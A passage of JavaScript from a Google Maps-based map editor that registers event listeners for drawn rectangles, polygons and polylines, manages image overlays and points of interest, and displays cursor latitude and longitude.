\"\").replace(\")\", \"\").replace(\",\", \"\"); //is this better than passing into array?s\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(circle, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n\n });\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.drawingManager, 'rectanglecomplete', function (rectangle) {\n //check the bounds to make sure you havent strayed too far away\n MAPEDITOR.UTILITIES.testBounds();\n //handle if an overlay\n if (MAPEDITOR.GLOBAL.DEFINES.placerType == \"overlay\") {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: placertype: overlay\");\n //assing working overlay index\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex + 1;\n if (MAPEDITOR.GLOBAL.DEFINES.overlayType == \"drawn\") {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.overlayType: \" + MAPEDITOR.GLOBAL.DEFINES.overlayType);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex: \" + MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex);\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex] = rectangle.getBounds();\n //create overlay with incoming\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex]] = new MAPEDITOR.UTILITIES.CustomOverlay(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex], map, MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex]);\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"no\";\n //set the overlay to the map\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex]].setMap(map);\n //set hotspot on top of overlay\n MAPEDITOR.UTILITIES.setGhostOverlay(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: I created ghost: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex]);\n MAPEDITOR.GLOBAL.DEFINES.mainCount++;\n MAPEDITOR.GLOBAL.DEFINES.incomingACL = \"overlay\";\n //mark that we converted it\n MAPEDITOR.GLOBAL.DEFINES.isConvertedOverlay = true;\n //hide the rectangle we drew\n rectangle.setMap(null);\n //relist the overlay we drew\n MAPEDITOR.GLOBAL.initOverlayList();\n MAPEDITOR.ACTIONS.overlayEditMe(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex]);\n //reset drawing manager no matter what\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n } else {\n //mark that we are editing\n MAPEDITOR.GLOBAL.DEFINES.firstSaveOverlay = true;\n //add the incoming overlay bounds\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex] = rectangle.getBounds();\n //redisplay overlays (the one we just made)\n MAPEDITOR.GLOBAL.displayIncomingPolygons();\n //relist the overlay we drew\n MAPEDITOR.GLOBAL.initOverlayList();\n //hide the rectangle we drew\n rectangle.setMap(null);\n //prevent redraw\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n }\n //create cache save overlay for the new converted overlay only\n if (MAPEDITOR.GLOBAL.DEFINES.isConvertedOverlay == true) {\n MAPEDITOR.UTILITIES.cacheSaveOverlay(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n MAPEDITOR.GLOBAL.DEFINES.isConvertedOverlay = false;\n }\n }\n //handle if poi\n if (MAPEDITOR.GLOBAL.DEFINES.placerType == \"poi\") {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: rectangle.getBounds().getCenter(), //position of real marker\n zIndex: 2,\n map: map,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.poi_i + 1, //the current user count\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = rectangle;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"rectangle\";\n var poiDescTemp = MAPEDITOR.LOCALIZATION.DEFINES.L_Rectangle;\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItem\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDesc\", MAPEDITOR.GLOBAL.DEFINES.poi_i, \"\", \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString\n });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(rectangle.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: completed overlay bounds getter\");\n\n google.maps.event.addListener(rectangle, 'bounds_changed', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(rectangle.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(rectangle.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n\n });\n google.maps.event.addListener(rectangle, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n\n });\n google.maps.event.addListener(rectangle, 'drag', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n\n\n });\n google.maps.event.addListener(rectangle, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(rectangle.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(rectangle.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n\n });\n google.maps.event.addListener(rectangle, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(rectangle.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n\n });\n }\n //used to get center point for lat/long tool\n google.maps.event.addListener(rectangle, 'drag', function () {\n var str = rectangle.getBounds().getCenter().toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\");\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(rectangle, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n });\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.drawingManager, 'polygoncomplete', function (polygon) {\n MAPEDITOR.UTILITIES.testBounds();\n //handle if poi\n if (MAPEDITOR.GLOBAL.DEFINES.placerType == \"poi\") {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: MAPEDITOR.UTILITIES.polygonCenter(polygon), //position of real marker\n zIndex: 2,\n map: map,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.poi_i + 1, //the current user count\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = polygon;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"polygon\";\n var poiDescTemp = MAPEDITOR.LOCALIZATION.DEFINES.L_Polygon;\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItem\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDesc\", MAPEDITOR.GLOBAL.DEFINES.poi_i, \"\", \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString\n });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(polygon));\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n\n google.maps.event.addListener(polygon.getPath(), 'set_at', function () { //if bounds change\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(polygon));\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(polygon));\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map); //does not redisplay\n }\n }\n });\n google.maps.event.addListener(polygon, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n\n });\n google.maps.event.addListener(polygon, 'drag', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n\n });\n google.maps.event.addListener(polygon, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(polygon));\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(polygon));\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n\n });\n google.maps.event.addListener(polygon, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(polygon));\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n\n });\n }\n //used for lat/long tool regardless if poi or not\n google.maps.event.addListener(polygon, 'drag', function () {\n\n var str = MAPEDITOR.UTILITIES.polygonCenter(polygon).toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\"); //is this better than passing into array?s\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(polygon, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n });\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.drawingManager, 'polylinecomplete', function (polyline) {\n //make sure we are still in the bounds\n MAPEDITOR.UTILITIES.testBounds();\n //handle if this is a polygon\n if (MAPEDITOR.GLOBAL.DEFINES.placerType == \"poi\") {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = polyline;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"polyline\";\n var poiDescTemp = MAPEDITOR.LOCALIZATION.DEFINES.L_Line;\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItem\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDesc\", MAPEDITOR.GLOBAL.DEFINES.poi_i, \"\", \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({ content: contentString });\n var polylinePoints = [];\n var polylinePointCount = 0;\n polyline.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylinePoints[\" + polylinePointCount + \"] = \" + latLng);\n polylinePointCount++;\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylinePointCount: \" + polylinePointCount);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylinePoints.length: \" + polylinePoints.length);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Math.round((polylinePoints.length / 2)): \" + Math.round((polylinePoints.length / 2)));\n var polylineCenterPoint = polylinePoints[Math.round((polylinePoints.length / 2))];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylineCenterPoint: \" + polylineCenterPoint);\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polylineStartPoint: \" + polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n //create the label\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: polylineStartPoint, //position at start of polyline\n zIndex: 2,\n map: map,\n labelContent: poiId, //the current user count\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n //add poi specific listeners\n google.maps.event.addListener(polyline.getPath(), 'set_at', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: is poi\");\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: inside loop1\");\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i].getPath() == this) {\n var polylinePoints = [];\n var polylinePointCount = 0;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here1\");\n polyline.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n polylinePointCount++;\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here2\");\n var polylineCenterPoint = polylinePoints[(polylinePoints.length / 2)];\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here3\");\n }\n }\n });\n google.maps.event.addListener(polyline, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n });\n google.maps.event.addListener(polyline, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n var polylinePoints = [];\n var polylinePointCount = 0;\n polyline.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n polylinePointCount++;\n });\n var polylineCenterPoint = polylinePoints[(polylinePoints.length / 2)];\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n });\n google.maps.event.addListener(polyline, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n var polylinePoints = [];\n var polylinePointCount = 0;\n polyline.getPath().forEach(function (latLng) {\n polylinePoints[polylinePointCount] = latLng;\n polylinePointCount++;\n });\n var polylineCenterPoint = polylinePoints[(polylinePoints.length / 2)];\n var polylineStartPoint = polylinePoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(polylineStartPoint);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n }\n //regardless of type\n //used for lat/long tool\n google.maps.event.addListener(polyline, 'drag', function () {\n //used for lat/long tool\n var bounds = new google.maps.LatLngBounds;\n polyline.getPath().forEach(function (latLng) { bounds.extend(latLng); });\n var polylineCenter = bounds.getCenter();\n var str = polylineCenter.toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\"); //is this better than passing into array?s\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(polyline, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n });\n });\n \n //initialize map specific listeners\n //on map click, set focus (fixes keycode issue)\n google.maps.event.addListener(map, 'click', function () {\n document.activeElement.blur();\n });\n //on right click stop drawing thing\n google.maps.event.addListener(map, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n //used to display cursor location via lat/long\n google.maps.event.addDomListener(map, 'mousemove', function (point) {\n\n if (MAPEDITOR.GLOBAL.DEFINES.cCoordsFrozen == \"no\") {\n var str = point.latLng.toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\"); //is this better than passing into array?s\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n }\n\n });\n //drag listener (for boundary test)\n google.maps.event.addListener(map, 'dragend', function () {\n MAPEDITOR.UTILITIES.testBounds();\n });\n //check the zoom level display message if out limits\n google.maps.event.addListener(map, 'zoom_changed', function () {\n MAPEDITOR.UTILITIES.checkZoomLevel();\n });\n //when kml layer is clicked, get feature that was clicked\n if (MAPEDITOR.GLOBAL.DEFINES.kmlLayer!=\"\") {\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.kmlLayer, 'click', function (kmlEvent) {\n var name = kmlEvent.featureData.name;\n MAPEDITOR.UTILITIES.displayMessage(\"ParcelID: \" + name); //temp\n });\n }\n //#endregion\n \n //initialize all the incoming geo obejects (the fcn is written via c#)\n initGeoObjects();\n\n //this part runs when the mapobject is created and rendered\n google.maps.event.addListenerOnce(map, 'tilesloaded', function () {\n MAPEDITOR.GLOBAL.initOptions(); //setup the graphical user interface (enhances visual effect to do all of this after map loads)\n MAPEDITOR.GLOBAL.initOverlayList(); //list all the overlays in the list box\"\n MAPEDITOR.GLOBAL.initNonStaticVars(); //these must be loaded after everything else is completed\n MAPEDITOR.UTILITIES.resizeView(); //explicitly call resizer, fixes unknow issue where timeout of divs being added when there are a lot (IE many overlays)\n });\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initGMap completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n 